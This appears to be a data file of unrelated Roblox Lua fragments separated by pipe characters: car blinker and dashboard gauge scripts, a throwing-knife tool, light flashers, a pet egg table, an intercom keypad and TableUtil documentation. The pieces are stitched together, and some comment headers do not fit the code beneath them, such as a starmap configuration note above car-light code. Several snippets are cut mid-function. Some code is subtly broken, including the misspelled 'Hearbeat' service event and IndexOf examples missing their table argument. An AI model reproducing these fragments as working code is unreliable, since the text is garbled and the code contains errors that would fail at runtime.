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---|---|
--CONFIGURATION
-- Configuration may be changed in two ways:
--- IN THE SCRIPT:
----- You can change the default values in the
----- script itself. This will change the star
----- map that is then generated with that script.
----- However, it is only loaded at runtime, and
----- is non-configurable after that. This method
----- is perfect for those who want a simple
----- starmap with easy customization.
--- IN THE FUNCTION:
----- You can pass in a table to the function.
----- Any option can be specified in the table.
------ e.g. a table that looks like
------ { Object_Parent = game.Workspace.MyModel }
------ will force the script to parent all stars
------ to the specified model. You need not worry
------ about specifying all values, any that are
------ missing are loaded from the defaults in the
------ top of the script.
----- You can find a sample configuration in this
----- script's children.
| |
-- body.F.BrickColor = bool and BrickColor.new("Pearl") or BrickColor.new("Fossil")
|
body.F.Material = bool and "Neon" or "SmoothPlastic"
body.RRL.BrickColor = bool and BrickColor.new("Really red") or BrickColor.new("Crimson")
body.RRL.Material = bool and "Neon" or "SmoothPlastic"
body.F.L.Enabled = bool
end
end
local b = ''
function Toggle(dir, tog)
if dir == 'Left' then
body.RLeft.Material = tog and "Neon" or "SmoothPlastic"
body.RLeft.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Crimson")
body.LeftIn.Material = tog and "Neon" or "SmoothPlastic"
body.LeftIn.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.Misc.FL.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic"
car.Misc.FL.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.DriveSeat.LI.Value = tog
elseif dir == 'Right' then
body.RRight.Material = tog and "Neon" or "SmoothPlastic"
body.RRight.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Crimson")
body.RightIn.Material = tog and "Neon" or "SmoothPlastic"
body.RightIn.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.Misc.FR.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic"
car.Misc.FR.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.DriveSeat.RI.Value = tog
elseif dir == 'Hazards' then
body.RLeft.Material = tog and "Neon" or "SmoothPlastic"
body.RRight.Material = tog and "Neon" or "SmoothPlastic"
body.RLeft.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Crimson")
body.RRight.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Crimson")
body.LeftIn.Material = tog and "Neon" or "SmoothPlastic"
body.LeftIn.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.RightIn.Material = tog and "Neon" or "SmoothPlastic"
body.RightIn.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.Misc.FL.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic"
car.Misc.FL.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.Misc.FR.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic"
car.Misc.FR.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.DriveSeat.LI.Value = tog
car.DriveSeat.RI.Value = tog
end
end
function blink(typ)
b = typ
if blinking == true then
blinking = false
else
blinking = true
while blinking do
Toggle(typ, true)
script.Parent:FireClient(player, 'blink', .9, true)
wait(1/3)
Toggle(typ, false)
script.Parent:FireClient(player, 'blink', 0.8, true)
wait(1/3)
end
Toggle('Hazards', false)
script.Parent:FireClient(player, 'blink', .9, false)
end
end
script.Parent.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") and BlinkersEnabled then
if blinking == true and b == 'Hazards' then
return
else
blinking = false
end
end
end)
F.blinkers = function(dir)
blink(dir)
end
script.Parent.OnServerEvent:connect(function(pl,Fnc,...)
player = pl
F[Fnc](...)
end)
|
--Scripted by Tsuneoo, I hope you enjoy it! :D
--Don't remove the "ReloadKnife" script, or the knife won't be working good!
|
wait()
local CMouse = require(script.CMouse)
while not CMouse:GetPlayer() do
game:GetService("RunService").Hearbeat:Wait()
end
local SpeedBoost = 20 --Gives you more WalkSpeed when Equipped. You can change the 3 to any number you want.
local tool = script.Parent
local handle = script.Parent:WaitForChild("Handle")
local killsound = handle:WaitForChild("Kill")
local outsound = handle:WaitForChild("Out")
local sticksound = handle:WaitForChild("Stick")
local swooshsound = handle:WaitForChild("Swoosh")
local throwsound = handle:WaitForChild("Throw")
local player = CMouse:GetPlayer()
while player.Character == nil do wait() end
local char = player.Character
local p_mouse = CMouse
local speedAdj = {
function(i)
return math.sin((i*math.pi)-(math.pi/2))/2 + 0.5
end,
function(i)
return math.sin(((i-1)*(math.pi/2)))+1
end,
function(i)
return math.sin(i*(math.pi/2))
end,
function(i) return i end
}
aWd = {}
weldBase = {}
weldAtc = {}
local shiftStart = {}
function updateArms()
aWd[1].C0 = weldBase[aWd[1]]*weldAtc[aWd[1]]
aWd[2].C0 = weldBase[aWd[2]]*weldAtc[aWd[2]]
end
function shiftWeld(weld,targ,spd,tm)
local runServ = game:GetService("RunService")
local c1 = {weldAtc[weld]:components()}
local c2 = {targ:components()}
local c3 = {}
local adjF = nil
if spd == nil or speedAdj[spd] == nil then
adjF = speedAdj[4]
else
adjF = speedAdj[spd]
end
local exe = tick()
shiftStart[weld] = exe
spawn(function()
while tick()<exe+tm and shiftStart[weld] == exe do
local amt = adjF((tick()-exe)/tm)
for i = 1,12 do
c3[i] = (c1[i]*(1-amt))+(c2[i]*amt)
end
weldAtc[weld] = CFrame.new(unpack(c3))
runServ.Heartbeat:wait()
end
if shiftStart[weld] == exe then
weldAtc[weld] = targ
end
end)
end
function weldArms()
weldAtc[1] = char.Head.CFrame:inverse()*char["Right Arm"].CFrame
weldAtc[2] = char.Head.CFrame:inverse()*char["Left Arm"].CFrame
local w = Instance.new("Weld")
weldAtc[w] = char.Head.CFrame:inverse()*char["Right Arm"].CFrame
weldBase[w] = CFrame.new()
char.Torso["Right Shoulder"].Part1 = nil
w.Part0 = char.Head
w.Part1 = char["Right Arm"]
w.Parent = char.Torso
aWd[1] = w
w = Instance.new("Weld")
weldAtc[w] = char.Head.CFrame:inverse()*char["Left Arm"].CFrame
weldBase[w] = CFrame.new()
char.Torso["Left Shoulder"].Part1 = nil
w.Part0 = char.Head
w.Part1 = char["Left Arm"]
w.Parent = char.Torso
aWd[2] = w
local f1 = char["Right Arm"]:Clone()
f1:ClearAllChildren()
f1.BrickColor = BrickColor.new("Black")
f1.Transparency = 0.5
Instance.new("BlockMesh").Parent = f1
f1.Mesh.Scale = Vector3.new(0.99,0.99,0.99)
Instance.new("Weld").Parent = f1
f1.Weld.Part0 = char["Right Arm"]
f1.Weld.Part1 = f1
f1.Name = "FakeArm"
local f2 = f1:Clone()
f2.Weld.Part0 = char["Left Arm"]
f2.Weld.Part1 = f2
f1.Parent = workspace.CurrentCamera
f2.Parent = workspace.CurrentCamera
wait()
end
function fixArms()
aWd[1]:Remove()
aWd[2]:Remove()
aWd[1] = nil
aWd[2] = nil
char.Torso["Left Shoulder"].Part1 = char["Left Arm"]
char.Torso["Right Shoulder"].Part1 = char["Right Arm"]
end
eqTm = 0
function evalKill(hit)
if slashing then
if hit.Parent ~= nil and hit.Parent:FindFirstChild("Humanoid") ~= nil and hit.Parent.Humanoid.Health > 0 and not hit:IsDescendantOf(script.Parent.Parent) then
if hit.Parent:FindFirstChild("Head") ~= nil then
for _,s in ipairs(hit.Parent.Head:GetChildren()) do
if s.className == "Sound" then
s:Remove()
end
end
handle.Kill:Clone().Parent = hit.Parent.Head
hit.Parent.Head.Kill:Play()
game.Debris:AddItem(hit.Parent.Head.Kill, 2)
end
hit.Parent.Humanoid:TakeDamage(100)
end
end
end
handle.Touched:connect(evalKill)
handle.TouchEnded:connect(evalKill)
tool.Equipped:connect(function(mouse)
mouse = CMouse
char.Humanoid.WalkSpeed = char.Humanoid.WalkSpeed + SpeedBoost
local exe = tick()
eqTm = exe
weldArms()
updateArms()
shiftWeld(aWd[1],CFrame.new(1.09999847, -1.15000033, -0.400005341, 0.992094874, 0.123806097, 0.0204437803, -0.0335917398, 0.419010431, -0.907359898, -0.120902866, 0.899500489, 0.419857204),1,0.4)
shiftWeld(aWd[2],CFrame.new(-1.04000473, -1.4000001, -0.490007401, 0.933408856, -0.2452925, -0.261869907, 0.0565752126, 0.82131362, -0.567664564, 0.354320973, 0.51504761, 0.780499399),1,0.4)
outsound:Play()
local mdTm = 0
local canThrow = true
local throwing = false
mouse.Button1Down:connect(function()
if tool.Parent == char then
if canThrow then
canThrow = false
throwing = true
mdTm = tick()
shiftWeld(aWd[1],CFrame.new(1.09999847, -0.440001011, -0.400005341, 0.992094994, 0.0142743737, -0.124667041, -0.0335872695, -0.92704916, -0.373433173, -0.120903023, 0.374668688, -0.919241786),4,2)
end
end
end)
mouse.Button1Up:connect(function()
if tool.Parent == char then
if throwing then
throwing = false
if tick()-mdTm < 0.3 then
slashing = true
if math.random(0,1) == 1 then
shiftWeld(aWd[1],CFrame.new(1.46999359, -1.15000105, -0.370010376, 0.138720512, -0.580347955, 0.802465916, 0.949465632, 0.308310717, 0.0588407367, -0.281556904, 0.753751874, 0.593789041),1,0.3)
wait(0.3)
shiftWeld(aWd[1],CFrame.new(0.760002136, -1.05000091, -0.590011597, 0.485976994, 0.191964433, 0.852628171, 0.8737849, -0.126958504, -0.469451755, 0.0181299299, 0.973156273, -0.229435116),1,0.2)
swooshsound:Play()
wait(0.2)
shiftWeld(aWd[1],CFrame.new(1.09999847, -1.15000033, -0.400005341, 0.992094874, 0.123806097, 0.0204437803, -0.0335917398, 0.419010431, -0.907359898, -0.120902866, 0.899500489, 0.419857204),1,0.4)
wait(0.2)
else
shiftWeld(aWd[1],CFrame.new(0.390003204, -0.950000763, -0.470010757, 0.415637791, 0.736434817, 0.5337677, 0.852281868, -0.110433385, -0.511296451, -0.317590654, 0.667434156, -0.673550844),1,0.3)
wait(0.3)
shiftWeld(aWd[1],CFrame.new(0.969997406, -1.51000047, -0.470010757, 0.837237597, -0.309994906, 0.450482845, 0.540366888, 0.595374048, -0.594590068, -0.0838864371, 0.741239488, 0.665979683),1,0.2)
swooshsound:Play()
wait(0.2)
shiftWeld(aWd[1],CFrame.new(1.09999847, -1.15000033, -0.400005341, 0.992094874, 0.123806097, 0.0204437803, -0.0335917398, 0.419010431, -0.907359898, -0.120902866, 0.899500489, 0.419857204),1,0.4)
wait(0.2)
end
slashing = false
else
shiftWeld(aWd[1],CFrame.new(1.09999847, -1.15000033, -0.400005341, 0.992094874, 0.123806097, 0.0204437803, -0.0335917398, 0.419010431, -0.907359898, -0.120902866, 0.899500489, 0.419857204),1,0.2)
if tick()-mdTm > 0.6 then
local charge = (tick()-mdTm-0.5)/1.5
if charge>1 then charge = 1 end
wait(0.1)
local thrown = handle:Clone()
handle.Transparency = 1
Instance.new("BodyForce").Parent = thrown
thrown.BodyForce.force = Vector3.new(0,192.6*thrown:GetMass()*math.sqrt(charge),0)
thrown.Name = player.Name
thrown.Parent = workspace
thrown.Velocity = (mouse.Hit.p-thrown.Position).unit*(73+(charge*73))
thrown.CFrame = CFrame.new(thrown.Position,mouse.Hit.p)
thrown.RotVelocity = Vector3.new(-thrown.CFrame.lookVector.Z,0,thrown.CFrame.lookVector.X)*-50
thrown.Throw:Play()
script.KnifeScript:Clone().Parent = thrown
thrown.KnifeScript.Disabled = false
wait(1)
outsound:Play()
handle.Transparency = 0
end
end
wait(0.1)
canThrow = true
end
end
end)
while eqTm == exe do
updateArms()
wait()
end
end)
tool.Unequipped:connect(function()
char.Humanoid.WalkSpeed = char.Humanoid.WalkSpeed - SpeedBoost
eqTm = 0
fixArms()
while workspace.CurrentCamera:FindFirstChild("FakeArm") ~= nil do
workspace.CurrentCamera.FakeArm:Remove()
end
end)
|
--create tables:
|
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "a" then
table.insert(a, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "b" then
table.insert(b, 1, part)
end
end
function lightOn(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = true
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = true
part.Material = "Neon"
end
end
end
function lightOff(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = false
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = false
part.Material = "SmoothPlastic"
end
end
end
while true do
lightOn(a)
wait(0.25)
lightOff(a)
wait(0.25)
lightOn(a)
wait(0.25)
lightOff(a)
wait(0.25)
lightOn(b)
wait(0.25)
lightOff(b)
wait(0.25)
lightOn(b)
wait(0.25)
lightOff(b)
wait(0.25)
end
|
--//Server Relay
|
event.OnServerEvent:Connect(function(player)
event:FireAllClients(player) --Tell all the clients that this player is double jumping
end)
|
--[[
Edit This The Percentages For Who Do Not Has The Gamepass!
]]
|
--
local module = {
["Common"] = {
["Cost"] = 250,
["Pets"] = {
["3"] = {1},
["4"] = {1},
}
},
["Rare"] = {
["Cost"] = 250,
["Pets"] = {
["2"] = {1},
}
},
["Epic"] = {
["Cost"] = 250,
["Pets"] = {
["1"] = {1},
}
},
}
return module
|
--[[Shutdown]]
|
bike.DriveSeat.ChildRemoved:connect(function(child)
bike.Body.bal.LeanGyro.D = 0
bike.Body.bal.LeanGyro.MaxTorque = Vector3.new(0,0,0)
bike.Body.bal.LeanGyro.P = 0
bike.RearSection.Axle.HingeConstraint.MotorMaxTorque = 0
end)
|
--[=[
@class PlayerGuiUtils
]=]
|
local Players = game:GetService("Players")
local PlayerGuiUtils = {}
function PlayerGuiUtils.getPlayerGui()
local localPlayer = Players.LocalPlayer
if not localPlayer then
error("No localPlayer")
end
return localPlayer:FindFirstChildOfClass("PlayerGui") or error("No PlayerGui")
end
return PlayerGuiUtils
|
---
|
function enter()
if sys.Call.Value == false and KVs["Value"..folder.KV.Value.Value].Locked.Value == false then
sys.LastKV.Value = folder.KV.Value.Value
sys.Call.Value = true
wait(1.5)
---
KVs["Value"..sys.LastKV.Value].Ring.Sound:Play()
KVs["Value"..sys.LastKV.Value].OLED.Call.Enabled = true
KVs["Value"..sys.LastKV.Value].ButtonNeon.Material = Enum.Material.Neon
KVs["Value"..sys.LastKV.Value].Open.Script.Disabled = false
---
huh.Sound:Play()
---
wait(callwait)
---
KVs["Value"..sys.LastKV.Value].Ring.Sound:Stop()
KVs["Value"..sys.LastKV.Value].OLED.Call.Enabled = false
KVs["Value"..sys.LastKV.Value].ButtonNeon.Material = Enum.Material.SmoothPlastic
KVs["Value"..sys.LastKV.Value].Open.Script.Disabled = true
---
huh.Sound:Stop()
folder.KV.Value.Value = ""
sys.LastKV.Value = ""
---
sys.Call.Value = false
elseif KVs["Value"..folder.KV.Value.Value].Locked.Value == true then
off()
end
end
function stopcall()
if sys.Call.Value == true then
---
KVs["Value"..sys.LastKV.Value].Ring.Sound:Stop()
KVs["Value"..sys.LastKV.Value].OLED.Call.Enabled = false
KVs["Value"..sys.LastKV.Value].ButtonNeon.Material = Enum.Material.SmoothPlastic
KVs["Value"..sys.LastKV.Value].Open.Script.Disabled = true
---
end
end
function sbros()
---
huh.Sound:Stop()
---
sys.Call.Value = false
sys.Code.Value = false
sys.KVEnter.Value = false
---
folder.KV.Value.Value = ""
sys.LastKV.Value = ""
---
end
script.Parent["1"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..1
end)
script.Parent["2"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..2
end)
script.Parent["3"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..3
end)
script.Parent["4"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..4
end)
script.Parent["5"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..5
end)
script.Parent["6"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..6
end)
script.Parent["7"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..7
end)
script.Parent["8"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..8
end)
script.Parent["9"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..9
end)
script.Parent["0"].ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
folder.KV.Value.Value = folder.KV.Value.Value ..0
end)
script.Parent.C.ClickDetector.MouseClick:Connect(function()
huh.ButtonSound:Play()
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|
--[[
TableUtil.Copy(Table tbl)
TableUtil.CopyShallow(Table tbl)
TableUtil.Sync(Table tbl, Table templateTbl)
TableUtil.Print(Table tbl, String label, Boolean deepPrint)
TableUtil.FastRemove(Table tbl, Number index)
TableUtil.FastRemoveFirstValue(Table tbl, Variant value)
TableUtil.Map(Table tbl, Function callback)
TableUtil.Filter(Table tbl, Function callback)
TableUtil.Reduce(Table tbl, Function callback [, Number initialValue])
TableUtil.Assign(Table target, ...Table sources)
TableUtil.IndexOf(Table tbl, Variant item)
TableUtil.Reverse(Table tbl)
TableUtil.Shuffle(Table tbl)
TableUtil.IsEmpty(Table tbl)
TableUtil.EncodeJSON(Table tbl)
TableUtil.DecodeJSON(String json)
EXAMPLES:
Copy:
Performs a deep copy of the given table. In other words,
all nested tables will also get copied.
local tbl = {"a", "b", "c"}
local tblCopy = TableUtil.Copy(tbl)
CopyShallow:
Performs a shallow copy of the given table. In other words,
all nested tables will not be copied, but only moved by
reference. Thus, a nested table in both the original and
the copy will be the same.
local tbl = {"a", "b", "c"}
local tblCopy = TableUtil.CopyShallow(tbl)
Sync:
Synchronizes a table to a template table. If the table does not have an
item that exists within the template, it gets added. If the table has
something that the template does not have, it gets removed.
local tbl1 = {kills = 0; deaths = 0; points = 0}
local tbl2 = {points = 0}
TableUtil.Sync(tbl2, tbl1) -- In words: "Synchronize table2 to table1"
print(tbl2.deaths)
Print:
Prints out the table to the output in an easy-to-read format. Good for
debugging tables. If deep printing, avoid cyclical references.
local tbl = {a = 32; b = 64; c = 128; d = {x = 0; y = 1; z = 2}}
TableUtil.Print(tbl, "My Table", true)
FastRemove:
Removes an item from an array at a given index. Only use this if you do
NOT care about the order of your array. This works by simply popping the
last item in the array and overwriting the given index with the last
item. This is O(1), compared to table.remove's O(n) speed.
local tbl = {"hello", "there", "this", "is", "a", "test"}
TableUtil.FastRemove(tbl, 2) -- Remove "there" in the array
print(table.concat(tbl, " ")) -- > hello this is a test
FastRemoveFirstValue:
Calls FastRemove on the first index that holds the given value.
local tbl = {"abc", "hello", "hi", "goodbye", "hello", "hey"}
local removed, atIndex = TableUtil.FastRemoveFirstValue(tbl, "hello")
if (removed) then
print("Removed at index " .. atIndex)
print(table.concat(tbl, " ")) -- > abc hi goodbye hello hey
else
print("Did not find value")
end
Map:
This allows you to construct a new table by calling the given function
on each item in the table.
local peopleData = {
{firstName = "Bob"; lastName = "Smith"};
{firstName = "John"; lastName = "Doe"};
{firstName = "Jane"; lastName = "Doe"};
}
local people = TableUtil.Map(peopleData, function(item)
return {Name = item.firstName .. " " .. item.lastName}
end)
-- 'people' is now an array that looks like: { {Name = "Bob Smith"}; ... }
Filter:
This allows you to create a table based on the given table and a filter
function. If the function returns 'true', the item remains in the new
table; if the function returns 'false', the item is discluded from the
new table.
local people = {
{Name = "Bob Smith"; Age = 42};
{Name = "John Doe"; Age = 34};
{Name = "Jane Doe"; Age = 37};
}
local peopleUnderForty = TableUtil.Filter(people, function(item)
return item.Age < 40
end)
Reduce:
This allows you to reduce an array to a single value. Useful for quickly
summing up an array.
local tbl = {40, 32, 9, 5, 44}
local tblSum = TableUtil.Reduce(tbl, function(accumulator, value)
return accumulator + value
end)
print(tblSum) -- > 130
Assign:
This allows you to assign values from multiple tables into one. The
Assign function is very similar to JavaScript's Object.Assign() and
is useful for things such as composition-designed systems.
local function Driver()
return {
Drive = function(self) self.Speed = 10 end;
}
end
local function Teleporter()
return {
Teleport = function(self, pos) self.Position = pos end;
}
end
local function CreateCar()
local state = {
Speed = 0;
Position = Vector3.new();
}
-- Assign the Driver and Teleporter components to the car:
return TableUtil.Assign({}, Driver(), Teleporter())
end
local car = CreateCar()
car:Drive()
car:Teleport(Vector3.new(0, 10, 0))
IndexOf:
Returns the index of the given item in the table. If not found, this
will return nil.
local tbl = {"Hello", 32, true, "abc"}
local abcIndex = TableUtil.IndexOf("abc") -- > 4
local helloIndex = TableUtil.IndexOf("Hello") -- > 1
local numberIndex = TableUtil.IndexOf(64) -- > nil
Reverse:
Creates a reversed version of the array. Note: This is a shallow
copy, so existing references will remain within the new table.
local tbl = {2, 4, 6, 8}
local rblReversed = TableUtil.Reverse(tbl) -- > {8, 6, 4, 2}
Shuffle:
Shuffles (i.e. randomizes) an array. This uses the Fisher-Yates algorithm.
local tbl = {1, 2, 3, 4, 5, 6, 7, 8, 9}
TableUtil.Shuffle(tbl)
print(table.concat(tbl, ", ")) -- e.g. > 3, 6, 9, 2, 8, 4, 1, 7, 5
--]]
|
local TableUtil = {}
